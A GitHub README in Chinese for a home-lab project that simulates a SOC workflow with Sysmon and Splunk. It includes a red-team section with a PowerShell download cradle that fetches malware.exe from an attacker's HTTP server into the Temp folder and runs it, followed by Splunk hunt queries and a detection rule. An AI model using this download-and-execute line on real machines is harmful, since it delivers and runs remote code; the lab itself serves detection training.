Yashwanth3033/Splunk-SIEM-Threat-Hunting-Lab
GitHub: Yashwanth3033/Splunk-SIEM-Threat-Hunting-Lab
一个在家庭实验室中模拟企业级 SIEM 工作流的安全运营实战项目,涵盖红队攻击模拟、Splunk 威胁狩猎和自动化告警构建的完整闭环。
Stars: 0 | Forks: 0
# Splunk-SIEM-Threat-Hunting 实验室
# 企业级 SIEM 与威胁狩猎自动化实验室
## 🎯 目标
本项目旨在家庭实验室环境中构建一个功能完备的安全信息与事件管理(SIEM)流水线。该实验室通过将 Windows 终端遥测数据接入 Splunk、执行“就地取材”(LotL)攻击、狩猎遥测数据以及构建自动化检测告警,模拟了真实世界中的安全运营中心(SOC)工作流程。
## 🏗️ 架构与技术
* **SIEM:** Splunk Enterprise
* **终端遥测:** Windows Sysmon (System Monitor)
* **数据解析:** Splunk Add-on for Sysmon (TA-Sysmon)
* **攻击机:** Kali Linux(Python HTTP Server)
* **受害者机器:** Windows 11
* **使用技术:** PowerShell Download Cradles、日志分析、自定义告警(SPL)
## ⚔️ 红队:模拟攻击
为了测试防御流水线,我模拟了一种常见的勒索软件投递策略:利用内置的管理工具静默下载恶意 payload。
### 1. 命令与控制服务器
使用本地 Web 服务器在 Kali Linux 上托管了模拟的恶意软件 payload。
```
python3 -m http.server 8000
```
### 2. 恶意执行(受害者机器)
在 Windows 终端上执行了 PowerShell download cradle,从攻击者服务器拉取文件并将其保存到隐藏的 Temporary 目录中。
```
Invoke-WebRequest -Uri "[http://10.240.24.204:8000/malware.exe](http://10.240.24.204:8000/malware.exe)" -OutFile "$env:TEMP\malware.exe"
Start-Process "$env:TEMP\malware.exe"
```
## 🛡️ 蓝队:在 Splunk 中进行威胁狩猎
在攻击执行后,我转向 Splunk 手动狩猎遥测数据,并追踪攻击者的横向移动。
### 狩猎网络连接(Event ID 3)
我查询了 Sysmon 日志,以准确找到 PowerShell 通过网络连接到攻击者 IP 地址的确切时刻。
```
index="main" EventCode=3 Image="*powershell.exe*" | table _time, Image, DestinationIp, DestinationPort
```
### 狩猎进程创建(Event ID 1)
在确认下载后,我追踪了已下载 payload 的执行情况,确认它是直接从用户的 Temp 文件夹中启动的。
```
index="main" EventCode=1 Image="*malware.exe*" | table _time, Image, CommandLine, User, ParentImage
```
## 🚨 自动化:构建 SOC 告警
为了从手动狩猎过渡到自动化防御,我根据攻击的行为指标设计了一条自定义的 Splunk 告警。
真实世界中的攻击者会不断更改恶意软件文件名,因此我构建了这条检测规则,只要任何可执行文件从 Windows Temp 文件夹启动,就会触发该规则。
**自定义 SPL 检测规则:**
```
index="main" EventCode=1 Image="*\\Temp\\*.exe"
```
## 🧹 事件响应与修复
在自动化告警成功触发后,我通过以下步骤完成了事件响应生命周期:
* 识别受损的用户账户和父进程。
* 提取威胁指标。
* 通过终止可疑进程并从 `$env:TEMP` 目录中永久清除 payload 来消灭威胁。
**作者:** Yashwanth H L
标签:AI合规, OpenCanary, Sysmon, 安全实验室, 网络信息收集, 逆向工具